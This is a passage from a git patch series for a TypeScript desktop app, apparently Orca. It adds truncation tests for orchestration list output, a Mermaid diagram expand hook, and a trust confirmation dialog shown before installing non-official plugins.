expect(JSON.stringify(state.items)).not.toContain(OLDER_ANSWER) + const cursor = oldestStructuredAgentSessionCursor(state) + if (!cursor) { + throw new Error('Missing older-history cursor') + } + const before = await history({ + direction: 'before', + cursor, + limit: AGENT_SESSION_HISTORY_MAX_LIMIT + }) + expect(JSON.stringify(before.items)).toContain(OLDER) + expect(JSON.stringify(before.items)).toContain(OLDER_ANSWER) + state = reduceStructuredAgentSession( + state, + { type: 'older-page', requestedCursor: cursor, page: before }, + 1_000 + ) + if (bounded) { + for (const frame of reader.rawFrames) { + expect(Buffer.byteLength(frame)).toBeLessThanOrEqual(MOBILE_BRIDGE_MAX_FRAME_BYTES) + } + phone(state) + } else { + desktop(state) + } + } + } +) From bf13e6cc76cfefd0bebe8535d33f2450c1edfc9f Mon Sep 17 00:00:00 2001 From: Jinwoo Hong <73622457+Jinwoo-H@users.noreply.github.com> Date: Sat, 31 Oct 2026 03:52:18 -0400 Subject: [PATCH 24/47] Guard concise orchestration list output against long text (#36625) One table-driven test keeps every concise orchestration list row short when stored text is huge. Concise run-list cuts each Run's objective to one line of at most 160 characters; --full is unchanged. --- .../concise-list-row-size.test.ts | 144 ++++++++++++++++++ .../handlers/orchestration/run-handlers.ts | 4 +- src/shared/orchestration-task-summary.ts | 22 +-- 3 files changed, 159 insertions(+), 11 deletions(-) create mode 100644 src/cli/handlers/orchestration/concise-list-row-size.test.ts diff --git a/src/cli/handlers/orchestration/concise-list-row-size.test.ts b/src/cli/handlers/orchestration/concise-list-row-size.test.ts new file mode 100644 index 00000000000..8a373e5845e --- /dev/null +++ b/src/cli/handlers/orchestration/concise-list-row-size.test.ts @@ -0,0 +1,144 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' + +vi.mock('../../selectors', () => ({ getTerminalHandle: vi.fn() })) + +import { ORCHESTRATION_HANDLERS } from '../orchestration' +import { orchestrationTestContext } from '../orchestration-handler-test-context' + +const HUGE = 'x'.repeat(10_000) +// Message bodies and gate questions are what check, inbox, and gate-list exist to show. +const CONTENT = 'c'.repeat(10_000) +const MAX_ROW_CHARS = 500 + +const message = { + id: 'msg_1', + from_handle: 'dispatch:ctx_1', + to_handle: 'run:run_1', + subject: 'Done', + body: CONTENT, + type: 'worker_done', + priority: 'normal', + read: 0, + thread_id: 'msg_1', + payload: JSON.stringify({ taskId: 'task_1', dispatchId: 'ctx_1' }), + created_at: '2026-10-31T00:00:00Z' +} + +const LISTS: [string, [string, string][], string, unknown][] = [ + [ + 'task-list', + [['run', 'run_1']], + 'tasks', + { + tasks: [ + { id: 'task_1', spec: HUGE, status: 'completed', result: HUGE, dispatch_id: 'ctx_1' } + ], + count: 1 + } + ], + [ + 'worker-list', + [['run', 'run_1']], + 'workers', + { + workers: [ + { + dispatchId: 'ctx_1', + taskId: 'task_1', + runId: 'run_1', + workerState: 'failed', + dispatchStatus: 'failed', + agentTerminalHandle: 'term_1', + terminalState: 'released', + lastError: HUGE, + output: HUGE, + projection: { + host: { id: 'local' }, + stage: { activity: 'failed' }, + liveness: { verdict: 'exited' }, + nextAction: { argv: [] }, + description: HUGE + } + } + ], + counts: { released: 1 }, + page: { hasMore: false, nextCursor: null, total: 1 } + } + ], + [ + 'gate-list', + [['run', 'run_1']], + 'gates', + { + gates: [ + { + id: 'gate_1', + task_id: 'task_1', + question: CONTENT, + options: '["yes","no"]', + status: 'resolved', + resolution: HUGE + } + ], + count: 1 + } + ], + [ + 'run-list', + [], + 'runs', + { runs: [{ id: 'run_1', objective: HUGE, legacy: 0 }], nextCursor: null } + ], + ['inbox', [], 'messages', { messages: [message], count: 1 }], + [ + 'check', + [['run', 'run_1']], + 'messages', + { + runId: 'run_1', + deliveryId: 'delivery_1', + deliveryAcknowledged: true, + messages: [message], + count: 1 + } + ] +] + +async function printed(command: string, flags: [string, string][], result: unknown, json: boolean) { + const callMock = vi.fn().mockResolvedValue({ id: 'req_1', ok: true, result, _meta: {} }) + const log = vi + .spyOn(console, 'log') + .mockClear() + .mockImplementation(() => {}) + await ORCHESTRATION_HANDLERS[`orchestration ${command}`]( + orchestrationTestContext(callMock, new Map(flags), json) + ) + return log.mock.calls.map(([line]) => String(line).replaceAll(CONTENT, '')).join('\n') +} + +describe('concise orchestration list output', () => { + beforeEach(() => { + vi.stubEnv('ORCA_TERMINAL_HANDLE', 'term_coord') + vi.stubEnv('ORCA_AGENT_SESSION_ID', undefined) + }) + + afterEach(() => { + vi.unstubAllEnvs() + vi.restoreAllMocks() + }) + + it.each(LISTS)( + 'keeps each %s row short when stored text is huge', + async (command, flags, key, result) => { + const text = await printed(command, flags, result, false) + const json: { result: Record } = JSON.parse( + await printed(command, flags, result, true) + ) + const rows = [...text.split('\n'), ...json.result[key].map((row) => JSON.stringify(row))] + expect(rows.length).toBeGreaterThan(1) + for (const row of rows) { + expect(row.length).toBeLessThan(MAX_ROW_CHARS) + } + } + ) +}) diff --git a/src/cli/handlers/orchestration/run-handlers.ts b/src/cli/handlers/orchestration/run-handlers.ts index 97f7af4124d..b023c2dbf91 100644 --- a/src/cli/handlers/orchestration/run-handlers.ts +++ b/src/cli/handlers/orchestration/run-handlers.ts @@ -1,3 +1,4 @@ +import { abbreviateOrchestrationText } from '../../../shared/orchestration-task-summary' import type { CommandHandler } from '../../dispatch' import { printResult } from '../../format' import { printOrchestrationResult } from './agent-view' @@ -94,7 +95,8 @@ export const ORCHESTRATION_RUN_HANDLERS: Record = { fields: (r) => ({ runs: r.runs.map((run) => { const { runId, ...rest } = runFields(run) - return { id: runId, ...rest } + // Objectives are caller-written and unbounded; --full prints them whole. + return { id: runId, ...rest, objective: abbreviateOrchestrationText(run.objective) } }), nextCursor: r.nextCursor ?? undefined }) diff --git a/src/shared/orchestration-task-summary.ts b/src/shared/orchestration-task-summary.ts index 716c79c85c5..a35d95caa40 100644 --- a/src/shared/orchestration-task-summary.ts +++ b/src/shared/orchestration-task-summary.ts @@ -3,16 +3,18 @@ const TASK_SPEC_BRIEF_LENGTH = 160 export function abbreviateOrchestrationTasks( tasks: readonly T[] ): (T & { spec_truncated: boolean })[] { - return tasks.map((task) => { - const spec = task.spec.replace(/\s+/g, ' ').trim() - const truncated = spec.length > TASK_SPEC_BRIEF_LENGTH - return { - ...task, - spec: truncated ? `${truncateAtCodePoint(spec).trimEnd()}…` : spec, - // Whitespace cleanup alone must not trigger agents to refetch an already complete brief. - spec_truncated: truncated - } - }) + return tasks.map((task) => ({ + ...task, + spec: abbreviateOrchestrationText(task.spec), + // Whitespace cleanup alone must not trigger agents to refetch an already complete brief. + spec_truncated: task.spec.replace(/\s+/g, ' ').trim().length > TASK_SPEC_BRIEF_LENGTH + })) +} + +/** One line of at most 160 characters, ending in … when cut. */ +export function abbreviateOrchestrationText(text: string): string { + const flat = text.replace(/\s+/g, ' ').trim() + return flat.length > TASK_SPEC_BRIEF_LENGTH ? `${truncateAtCodePoint(flat).trimEnd()}…` : flat } function truncateAtCodePoint(spec: string): string { From 51e183a08e03f16528391360cac05622ff474b48 Mon Sep 17 00:00:00 2001 From: Neil <4138956+nwparker@users.noreply.github.com> Date: Sat, 31 Oct 2026 01:09:23 -0700 Subject: [PATCH 25/47] feat(markdown): expand Mermaid diagrams into the pan and zoom viewer everywhere they render (#36575) Markdown preview, the rich editor and .mmd/.mermaid files now get the same expand button that comment diagrams already had. Co-authored-by: Claude --- src/renderer/src/components/editor/MermaidViewer.tsx | 3 +++ .../src/components/editor/RichMarkdownCodeBlock.tsx | 9 ++++++++- .../editor/use-markdown-preview-components.tsx | 10 +++++++++- .../components/editor/use-mermaid-diagram-expand.ts | 12 ++++++++++++ .../src/components/sidebar/CommentMermaidBlock.tsx | 7 +++---- 5 files changed, 35 insertions(+), 6 deletions(-) create mode 100644 src/renderer/src/components/editor/use-mermaid-diagram-expand.ts diff --git a/src/renderer/src/components/editor/MermaidViewer.tsx b/src/renderer/src/components/editor/MermaidViewer.tsx index 63bff534f0b..0a148e70021 100644 --- a/src/renderer/src/components/editor/MermaidViewer.tsx +++ b/src/renderer/src/components/editor/MermaidViewer.tsx @@ -1,6 +1,7 @@ import React, { useCallback, useLayoutEffect, useRef } from 'react' import { scrollTopCache, setWithLRU } from '@/lib/scroll-cache' import MermaidBlock from './MermaidBlock' +import { useMermaidDiagramExpand } from './use-mermaid-diagram-expand' import { useDocumentDarkTheme } from '@/hooks/use-document-dark-theme' type MermaidViewerProps = { @@ -18,6 +19,7 @@ export default function MermaidViewer({ const renderCompleteRef = useRef(false) const restoreObserverRef = useRef(null) const isDark = useDocumentDarkTheme() + const expandDiagram = useMermaidDiagramExpand() const diagramSource = content.trim() const cancelPendingScroll = useCallback(() => { @@ -109,6 +111,7 @@ export default function MermaidViewer({ isDark={isDark} htmlLabels={false} onRenderComplete={onRenderComplete} + onExpand={expandDiagram} /> diff --git a/src/renderer/src/components/editor/RichMarkdownCodeBlock.tsx b/src/renderer/src/components/editor/RichMarkdownCodeBlock.tsx index a45f7028819..0438d31c7ee 100644 --- a/src/renderer/src/components/editor/RichMarkdownCodeBlock.tsx +++ b/src/renderer/src/components/editor/RichMarkdownCodeBlock.tsx @@ -5,6 +5,7 @@ import { NodeViewContent, NodeViewWrapper } from '@tiptap/react' import type { NodeViewProps } from '@tiptap/react' import { Copy, Check } from 'lucide-react' import MermaidBlock from './MermaidBlock' +import { useMermaidDiagramExpand } from './use-mermaid-diagram-expand' import { useDocumentDarkTheme } from '@/hooks/use-document-dark-theme' import { translate } from '@/i18n/i18n' import { @@ -26,6 +27,7 @@ export function RichMarkdownCodeBlock({ // Clipboard IPC may settle after unmount; do not start an orphan reset timer. const isMountedRef = useRef(false) const isDark = useDocumentDarkTheme() + const expandMermaidDiagram = useMermaidDiagramExpand() const isMermaid = language === 'mermaid' @@ -139,7 +141,12 @@ export function RichMarkdownCodeBlock({ {/* Keep Mermaid source editable; native SVG labels survive the preview’s sanitization. */} {isMermaid && node.textContent.trim() && (
    - +
    )} diff --git a/src/renderer/src/components/editor/use-markdown-preview-components.tsx b/src/renderer/src/components/editor/use-markdown-preview-components.tsx index bbb4a9f09ee..ffe47209c6c 100644 --- a/src/renderer/src/components/editor/use-markdown-preview-components.tsx +++ b/src/renderer/src/components/editor/use-markdown-preview-components.tsx @@ -3,6 +3,7 @@ import type { Components } from 'react-markdown' import type { MarkdownDocument } from '../../../../shared/filesystem-entry-types' import CodeBlockCopyButton from './CodeBlockCopyButton' import MermaidBlock from './MermaidBlock' +import { useMermaidDiagramExpand } from './use-mermaid-diagram-expand' import { getMarkdownDocLinkAnchor, parseMarkdownDocLinkHref, @@ -63,6 +64,7 @@ export function useMarkdownPreviewComponents({ const { scrollToAnchor } = viewport const { getMarkdownCommentsForRange, handleAnnotatedMarkdownBlockClick } = reviewActions const { renderAnnotationControls, wrapAnnotatedBlock } = annotationRenderers + const expandMermaidDiagram = useMermaidDiagramExpand() return useMemo(() => { // Why: preview images come from document text, so main limits them to the document's roots. @@ -170,7 +172,12 @@ export function useMarkdownPreviewComponents({ code: ({ className, children, ...props }) => { if (/language-mermaid/.test(className || '')) { return ( - + ) } return ( @@ -294,6 +301,7 @@ export function useMarkdownPreviewComponents({ }, [ filePath, activateMarkdownLink, + expandMermaidDiagram, isDark, isMac, imageRuntimeContext, diff --git a/src/renderer/src/components/editor/use-mermaid-diagram-expand.ts b/src/renderer/src/components/editor/use-mermaid-diagram-expand.ts new file mode 100644 index 00000000000..42ad9483eb3 --- /dev/null +++ b/src/renderer/src/components/editor/use-mermaid-diagram-expand.ts @@ -0,0 +1,12 @@ +import { useCallback } from 'react' +import { useAppStore } from '@/store' +import type { RenderedMermaidDiagram } from './MermaidBlock' + +/** Opens a rendered diagram in the full-window pan and zoom viewer. */ +export function useMermaidDiagramExpand(): (diagram: RenderedMermaidDiagram) => void { + const openModal = useAppStore((s) => s.openModal) + return useCallback( + (diagram: RenderedMermaidDiagram) => openModal('diagram-viewer', diagram), + [openModal] + ) +} diff --git a/src/renderer/src/components/sidebar/CommentMermaidBlock.tsx b/src/renderer/src/components/sidebar/CommentMermaidBlock.tsx index 5abcf13b578..a7ec09c259b 100644 --- a/src/renderer/src/components/sidebar/CommentMermaidBlock.tsx +++ b/src/renderer/src/components/sidebar/CommentMermaidBlock.tsx @@ -1,6 +1,6 @@ import React from 'react' -import MermaidBlock, { type RenderedMermaidDiagram } from '@/components/editor/MermaidBlock' -import { useAppStore } from '@/store' +import MermaidBlock from '@/components/editor/MermaidBlock' +import { useMermaidDiagramExpand } from '@/components/editor/use-mermaid-diagram-expand' import { useDocumentDarkTheme } from '@/hooks/use-document-dark-theme' import { cn } from '@/lib/utils' @@ -17,8 +17,7 @@ export default function CommentMermaidBlock({ renderEnabled?: boolean }): React.JSX.Element { const isDark = useDocumentDarkTheme() - const openModal = useAppStore((s) => s.openModal) - const expand = (diagram: RenderedMermaidDiagram): void => openModal('diagram-viewer', diagram) + const expand = useMermaidDiagramExpand() if (pendingContent === undefined) { return ( From b45d71bf8dc5f2623d991bc659c64ef9ce9ec940 Mon Sep 17 00:00:00 2001 From: Neil <4138956+nwparker@users.noreply.github.com> Date: Sat, 31 Oct 2026 01:12:48 -0700 Subject: [PATCH 26/47] plugins: ask "Make sure you trust " before installing any non-official plugin (#36271) * plugins: ask "Make sure you trust " before installing any non-official plugin * plugins: show the derived publisher in the install trust dialog * plugins: rebase install trust dialog onto main; register its copy as protected --- .../dialogs/PluginDevelopmentDialog.tsx | 5 + .../dialogs/PluginInstallTrustDialog.tsx | 198 ++++++++++++++++++ .../list/PluginManager.catalog.test.tsx | 134 ++++++++++-- .../presentation/plugin-install-trust.test.ts | 151 +++++++++++++ .../presentation/plugin-install-trust.ts | 120 +++++++++++ .../state/use-plugin-install-action.test.tsx | 82 ++++++++ .../state/use-plugin-install-action.ts | 11 + .../PluginsSettingsSection.lifecycle.test.tsx | 107 +++++++++- .../settings/PluginsSettingsSection.tsx | 7 + src/renderer/src/i18n/locales/de.json | 18 ++ src/renderer/src/i18n/locales/en.json | 18 ++ src/renderer/src/i18n/locales/es.json | 18 ++ src/renderer/src/i18n/locales/fr.json | 18 ++ src/renderer/src/i18n/locales/ja.json | 18 ++ src/renderer/src/i18n/locales/ko.json | 18 ++ src/renderer/src/i18n/locales/pt.json | 18 ++ src/renderer/src/i18n/locales/ru.json | 18 ++ src/renderer/src/i18n/locales/tr.json | 18 ++ src/renderer/src/i18n/locales/zh-Hant.json | 18 ++ src/renderer/src/i18n/locales/zh.json | 18 ++ .../src/store/plugin-install-trust-request.ts | 27 +++ .../languages/protected-copy-keys.json | 16 ++ 22 files changed, 1032 insertions(+), 24 deletions(-) create mode 100644 src/renderer/src/components/plugins/dialogs/PluginInstallTrustDialog.tsx create mode 100644 src/renderer/src/components/plugins/presentation/plugin-install-trust.test.ts create mode 100644 src/renderer/src/components/plugins/presentation/plugin-install-trust.ts create mode 100644 src/renderer/src/store/plugin-install-trust-request.ts diff --git a/src/renderer/src/components/plugins/dialogs/PluginDevelopmentDialog.tsx b/src/renderer/src/components/plugins/dialogs/PluginDevelopmentDialog.tsx index 8c7d64fcf9e..c46c61e90a3 100644 --- a/src/renderer/src/components/plugins/dialogs/PluginDevelopmentDialog.tsx +++ b/src/renderer/src/components/plugins/dialogs/PluginDevelopmentDialog.tsx @@ -1,6 +1,7 @@ import { useState } from 'react' import { Loader2 } from 'lucide-react' import { translate } from '@/i18n/i18n' +import { confirmPluginInstallTrust } from '@/store/plugin-install-trust-request' import { Button } from '../../ui/button' import { Dialog, @@ -11,6 +12,7 @@ import { } from '../../ui/dialog' import { Input } from '../../ui/input' import { Label } from '../../ui/label' +import { localFolderTrustPrompt } from '../presentation/plugin-install-trust' type PluginDevelopmentDialogProps = { open: boolean @@ -51,6 +53,9 @@ export function PluginDevelopmentDialog({ return } setError(null) + if (!(await confirmPluginInstallTrust(localFolderTrustPrompt('dev-folder', path)))) { + return + } try { await onChange([...paths, path]) setPathInput('') diff --git a/src/renderer/src/components/plugins/dialogs/PluginInstallTrustDialog.tsx b/src/renderer/src/components/plugins/dialogs/PluginInstallTrustDialog.tsx new file mode 100644 index 00000000000..6a0d32a240f --- /dev/null +++ b/src/renderer/src/components/plugins/dialogs/PluginInstallTrustDialog.tsx @@ -0,0 +1,198 @@ +import { useEffect, useRef, useState } from 'react' +import { translate } from '@/i18n/i18n' +import { + settlePluginInstallTrust, + usePluginInstallTrustStore +} from '@/store/plugin-install-trust-request' +import { Button } from '../../ui/button' +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle +} from '../../ui/dialog' +import type { PluginInstallTrustPrompt } from '../presentation/plugin-install-trust' + +function trustTitle(prompt: PluginInstallTrustPrompt): string { + if (prompt.kind === 'local-folder' || prompt.kind === 'dev-folder') { + return translate( + 'auto.components.settings.PluginInstallTrustDialog.titleFolder', + 'Make sure you trust this folder' + ) + } + return translate( + 'auto.components.settings.PluginInstallTrustDialog.title', + 'Make sure you trust {{value0}}', + { value0: prompt.trustee } + ) +} + +function trustBody(prompt: PluginInstallTrustPrompt): string { + const value0 = prompt.trustee + switch (prompt.kind) { + case 'theme': + return translate( + 'auto.components.settings.PluginInstallTrustDialog.theme', + 'This theme is from {{value0}}, not Orca. Only install plugins from authors you trust.', + { value0 } + ) + case 'content': + return translate( + 'auto.components.settings.PluginInstallTrustDialog.content', + 'This plugin is from {{value0}}, not Orca. Only install plugins from authors you trust.', + { value0 } + ) + case 'translations': + return translate( + 'auto.components.settings.PluginInstallTrustDialog.translations', + 'This translation is from {{value0}}, not Orca. Translations can change any text in Orca, so only install them from authors you trust.', + { value0 } + ) + case 'code': + return translate( + 'auto.components.settings.PluginInstallTrustDialog.code', + 'This plugin is from {{value0}}, not Orca. It runs the publisher’s code inside Orca, so only install it if you trust {{value0}}.', + { value0 } + ) + case 'git': + return translate( + 'auto.components.settings.PluginInstallTrustDialog.git', + 'Orca hasn’t checked this repository. A plugin from it can run its publisher’s code inside Orca, so only install it if you trust {{value0}}.', + { value0 } + ) + case 'local-folder': + return translate( + 'auto.components.settings.PluginInstallTrustDialog.localFolder', + 'This is an unverified local folder. A plugin from it can run code inside Orca, so only install it if you trust where it came from.' + ) + case 'dev-folder': + return translate( + 'auto.components.settings.PluginInstallTrustDialog.devFolder', + 'This is an unverified local folder. Orca loads its plugin as it is, and later code edits run without asking, so only add folders you trust.' + ) + } +} + +function TrustDetail({ label, value }: { label: string; value: string }): React.JSX.Element { + return ( +
    +
    {label}
    +
    {value}
    +
    + ) +} + +/** + * "Make sure you trust …" before any non-official plugin installs. Cancel holds focus, so a held + * Enter or a link-opened page can never install without a deliberate click on Install. + */ +export function PluginInstallTrustDialog({ + prompt, + onCancel, + onConfirm +}: { + prompt: PluginInstallTrustPrompt | null + onCancel: () => void + onConfirm: () => void +}): React.JSX.Element { + const cancelRef = useRef(null) + // Why keep the last prompt: the closing animation must not flash an empty dialog. + const [shown, setShown] = useState(prompt) + if (prompt && prompt !== shown) { + setShown(prompt) + } + const current = prompt ?? shown + const folder = current?.kind === 'local-folder' || current?.kind === 'dev-folder' + return ( + !open && onCancel()}> + { + event.preventDefault() + cancelRef.current?.focus() + }} + > + {current ? ( + <> + + {trustTitle(current)} + {trustBody(current)} + + {current.access.length > 0 ? ( +
      + {current.access.map((line) => ( +
    • {line}
    • + ))} +
    + ) : null} +
    + {current.publisher ? ( + + ) : null} + {current.repository ? ( + + ) : null} + {current.location ? ( + + ) : null} +
    + + ) : null} + + + + +
    +
    + ) +} + +/** Shows whichever install is waiting; leaving the pane declines it so nothing installs unseen. */ +export function PluginInstallTrustDialogHost(): React.JSX.Element { + const pending = usePluginInstallTrustStore((state) => state.pending) + useEffect(() => () => settlePluginInstallTrust(false), []) + return ( + settlePluginInstallTrust(false)} + onConfirm={() => settlePluginInstallTrust(true)} + /> + ) +} diff --git a/src/renderer/src/components/plugins/list/PluginManager.catalog.test.tsx b/src/renderer/src/components/plugins/list/PluginManager.catalog.test.tsx index c7da9a5a946..43f41c1f95b 100644 --- a/src/renderer/src/components/plugins/list/PluginManager.catalog.test.tsx +++ b/src/renderer/src/components/plugins/list/PluginManager.catalog.test.tsx @@ -9,8 +9,13 @@ import type { PluginMarketplaceHostListing, PluginMarketplaceHostSourceState } from '../../../../../preload/api-types' -import { requestPluginPreview, requestPluginUpdateReview } from '@/store/plugin-preview-request' +import { + requestPluginPreview, + requestPluginUpdateReview, + usePluginPreviewRequestStore +} from '@/store/plugin-preview-request' import { PluginManager } from './PluginManager' +import { PluginInstallTrustDialogHost } from '../dialogs/PluginInstallTrustDialog' import { usePluginPageNavigation } from '../state/use-plugin-page-navigation' vi.mock('../../ui/tooltip', () => ({ @@ -179,28 +184,31 @@ function Harness({ }): React.JSX.Element { const page = usePluginPageNavigation() return ( - + <> + + + ) } @@ -240,6 +248,26 @@ function button(label: string): HTMLButtonElement { return match } +/** The open "Make sure you trust …" dialog, which must name this kind of warning. */ +function trustDialog(kind: string): HTMLElement { + const dialog = document.querySelector('[data-plugin-install-trust]') + if (!dialog) { + throw new Error('missing install trust dialog') + } + expect(dialog.dataset.pluginInstallTrust).toBe(kind) + return dialog +} + +function trustButton(dialog: HTMLElement, label: string): HTMLButtonElement { + const match = Array.from(dialog.querySelectorAll('button')).find( + (candidate) => candidate.textContent?.trim() === label + ) + if (!match) { + throw new Error(`missing ${label} in the trust dialog`) + } + return match +} + beforeEach(() => installApi()) afterEach(() => { @@ -280,6 +308,15 @@ describe('PluginManager catalog', () => { }) const { onInstalled } = await render() await act(async () => button('Install').click()) + const dialog = trustDialog('theme') + expect(dialog.textContent).toContain('Make sure you trust example') + expect(dialog.textContent).toContain( + 'This theme is from example, not Orca. Only install plugins from authors you trust.' + ) + // Why Cancel holds focus: Enter on a link-opened page must never install unseen. + expect(document.activeElement?.textContent).toBe('Cancel') + expect(window.api.plugins.installMarketplacePlugin).not.toHaveBeenCalled() + await act(async () => trustButton(dialog, 'Install').click()) expect(window.api.plugins.installMarketplacePlugin).toHaveBeenCalledWith({ marketplaceSourceId: SOURCE_ID, @@ -303,6 +340,12 @@ describe('PluginManager catalog', () => { ) await act(async () => button('Install & enable').click()) + const dialog = trustDialog('code') + expect(dialog.textContent).toContain( + 'It runs the publisher’s code inside Orca, so only install it if you trust example.' + ) + expect(dialog.textContent).toContain('example.com/notes') + await act(async () => trustButton(dialog, 'Install').click()) expect(window.api.plugins.installMarketplacePlugin).toHaveBeenCalledWith({ marketplaceSourceId: SOURCE_ID, marketplaceCommit: MARKETPLACE_COMMIT, @@ -317,6 +360,51 @@ describe('PluginManager catalog', () => { expect(onInstalled).toHaveBeenCalledWith(listing.pluginKey) }) + it('installs nothing when the trust dialog is cancelled', async () => { + const { onInstalled } = await render() + await act(async () => button('Review & install').click()) + await act(async () => button('Install & enable').click()) + await act(async () => trustButton(trustDialog('code'), 'Cancel').click()) + expect(document.querySelector('[data-plugin-install-trust]')).toBeNull() + expect(window.api.plugins.installMarketplacePlugin).not.toHaveBeenCalled() + expect(window.api.plugins.consent).not.toHaveBeenCalled() + expect(onInstalled).not.toHaveBeenCalled() + }) + + it('still asks to trust the publisher on a page an install link opened', async () => { + await render() + await act(async () => { + usePluginPreviewRequestStore.setState({ + link: { pluginKey: listing.pluginKey, catalog: { kind: 'url', source: source.source } } + }) + }) + expect(document.querySelector('#plugin-detail-heading')?.textContent).toContain( + 'Worktree Notes' + ) + await act(async () => button('Install & enable').click()) + const dialog = trustDialog('code') + expect(document.activeElement?.textContent).toBe('Cancel') + expect(window.api.plugins.installMarketplacePlugin).not.toHaveBeenCalled() + await act(async () => trustButton(dialog, 'Install').click()) + expect(window.api.plugins.installMarketplacePlugin).toHaveBeenCalledWith( + expect.objectContaining({ fromInstallLink: true }) + ) + }) + + it('installs an official plugin without the trust dialog', async () => { + const officialListing = { ...listing, official: true } + installApi({ + listMarketplaces: vi.fn().mockResolvedValue([{ ...source, official: true }]), + listMarketplacePlugins: vi.fn().mockResolvedValue([officialListing]), + previewMarketplacePlugin: vi.fn().mockResolvedValue({ ...preview, official: true }) + }) + await render() + await act(async () => button('Review & install').click()) + await act(async () => button('Install & enable').click()) + expect(document.querySelector('[data-plugin-install-trust]')).toBeNull() + expect(window.api.plugins.installMarketplacePlugin).toHaveBeenCalledOnce() + }) + it('offers a full-access release for review with no global switch', async () => { installApi({ listMarketplacePlugins: vi.fn().mockResolvedValue([ diff --git a/src/renderer/src/components/plugins/presentation/plugin-install-trust.test.ts b/src/renderer/src/components/plugins/presentation/plugin-install-trust.test.ts new file mode 100644 index 00000000000..44b2d7413ea --- /dev/null +++ b/src/renderer/src/components/plugins/presentation/plugin-install-trust.test.ts @@ -0,0 +1,151 @@ +import { describe, expect, it } from 'vitest' +import type { + PluginMarketplaceHostInstallPreview, + PluginMarketplaceHostListing +} from '../../../../../preload/api-types' +import { isProtectedPluginTranslationPath } from '../../../../../shared/plugins/artifacts/plugin-language-pack-artifact' +import { pluginManifestSchema } from '../../../../../shared/plugins/manifest/plugin-manifest' +import en from '../../../i18n/locales/en.json' +import { + catalogInstallTrustPrompt, + localFolderTrustPrompt, + pluginRepositoryOrigin, + sourceInstallTrustPrompt +} from './plugin-install-trust' + +const listing: PluginMarketplaceHostListing = { + marketplaceSourceId: 'source', + marketplaceName: 'Orca community', + marketplaceOwner: 'stablyai', + marketplaceCommit: 'b'.repeat(40), + pluginKey: 'acme.dusk', + source: { kind: 'git', url: 'https://github.com/Acme/dusk.git', ref: 'main' }, + categories: [], + official: false, + bundled: false +} + +function preview(contributes: Record, main?: string) { + return { + ...listing, + resolvedCommit: 'c'.repeat(40), + contentHash: 'd'.repeat(64), + consentFingerprint: 'sha256-shown', + manifest: pluginManifestSchema.parse({ + manifestVersion: 1, + id: 'dusk', + publisher: 'acme', + name: 'Dusk', + version: '1.0.0', + engines: { orca: '>=1.0.0' }, + pluginApi: 1, + ...(main ? { main } : {}), + contributes + }) + } satisfies PluginMarketplaceHostInstallPreview +} + +const theme = preview({ themes: [{ id: 'dusk', title: 'Dusk', path: 'themes/dusk.json' }] }) + +describe('catalogInstallTrustPrompt', () => { + it('asks nothing only when both listing and preview are official', () => { + expect( + catalogInstallTrustPrompt({ ...listing, official: true }, { ...theme, official: true }) + ).toBeNull() + expect(catalogInstallTrustPrompt({ ...listing, official: true }, theme)).not.toBeNull() + expect(catalogInstallTrustPrompt(listing, { ...theme, official: true })).not.toBeNull() + }) + + it('asks for a community theme with the softer copy and the owner Orca parsed', () => { + expect(catalogInstallTrustPrompt(listing, theme)).toEqual({ + kind: 'theme', + trustee: 'Acme', + publisher: 'acme', + repository: 'github.com/acme/dusk', + location: 'Orca community', + access: [] + }) + }) + + it('shows the publisher Orca installs as, not the one the manifest declares', () => { + const claimed = { ...theme, manifest: { ...theme.manifest, publisher: 'stablyai' } } + expect(catalogInstallTrustPrompt(listing, claimed)?.publisher).toBe('acme') + }) + + it('names other content and translations apart from themes', () => { + const grammar = preview({ + syntaxes: [{ id: 'g', title: 'G', scopeName: 'source.g', path: 'g.json', extensions: ['.g'] }] + }) + expect(catalogInstallTrustPrompt(listing, grammar)?.kind).toBe('content') + const pack = preview({ + languagePacks: [{ locale: 'eo', path: 'eo.json' }] + }) + expect(catalogInstallTrustPrompt(listing, pack)?.kind).toBe('translations') + }) + + it('warns a code plugin runs code and lists what it may do', () => { + const worker = preview({}, 'dist/worker.js') + const prompt = catalogInstallTrustPrompt(listing, worker) + expect(prompt?.kind).toBe('code') + expect(prompt?.access[0]).toMatch(/^Full access/) + }) + + it('treats a release the catalog calls code as code even if the manifest looks like content', () => { + const codeRelease = { + ...listing, + release: { + version: '1.0.0', + commit: 'c'.repeat(40), + contentHash: 'd'.repeat(64), + execution: 'declarative' as const, + minimumOrca: '1.0.0', + types: [] + } + } + expect(catalogInstallTrustPrompt(codeRelease, theme)?.kind).toBe('code') + }) +}) + +describe('sourceInstallTrustPrompt', () => { + it('names the Git owner and repository for a Git URL install', () => { + expect( + sourceInstallTrustPrompt({ + kind: 'git', + url: 'git@gitlab.com:team/tools/notes.git', + ref: 'v1' + }) + ).toMatchObject({ + kind: 'git', + trustee: 'team', + publisher: 'team', + repository: 'gitlab.com/team/tools/notes' + }) + }) + + it('calls a folder install and a development folder unverified local folders', () => { + expect(sourceInstallTrustPrompt({ kind: 'local-path', path: '/tmp/p' })).toMatchObject({ + kind: 'local-folder', + location: '/tmp/p' + }) + expect(localFolderTrustPrompt('dev-folder', '/tmp/p').kind).toBe('dev-folder') + }) + + it('names a subdirectory plugin location', () => { + expect(pluginRepositoryOrigin('https://github.com/acme/mono.git', 'plugins/dusk')).toEqual({ + owner: 'acme', + repository: 'github.com/acme/mono (plugins/dusk)' + }) + }) +}) + +describe('install trust copy', () => { + it('is copy no language pack may rewrite', () => { + const keys = Object.keys(en.auto.components.settings.PluginInstallTrustDialog) + expect(keys.length).toBeGreaterThan(10) + for (const key of keys) { + expect( + isProtectedPluginTranslationPath(`auto.components.settings.PluginInstallTrustDialog.${key}`) + ).toBe(true) + } + }) +}) diff --git a/src/renderer/src/components/plugins/presentation/plugin-install-trust.ts b/src/renderer/src/components/plugins/presentation/plugin-install-trust.ts new file mode 100644 index 00000000000..d91554dcaf6 --- /dev/null +++ b/src/renderer/src/components/plugins/presentation/plugin-install-trust.ts @@ -0,0 +1,120 @@ +import type { + PluginHostInstallSource, + PluginMarketplaceHostInstallPreview, + PluginMarketplaceHostListing +} from '../../../../../preload/api-types' +import { pluginExecutionProfile } from '../../../../../shared/plugins/contributions/plugin-execution-profile' +import { + parseGitRepositoryIdentity, + splitQualifiedPluginKey +} from '../../../../../shared/plugins/catalog/plugin-marketplace' +import { gitUrlPluginPublisher } from 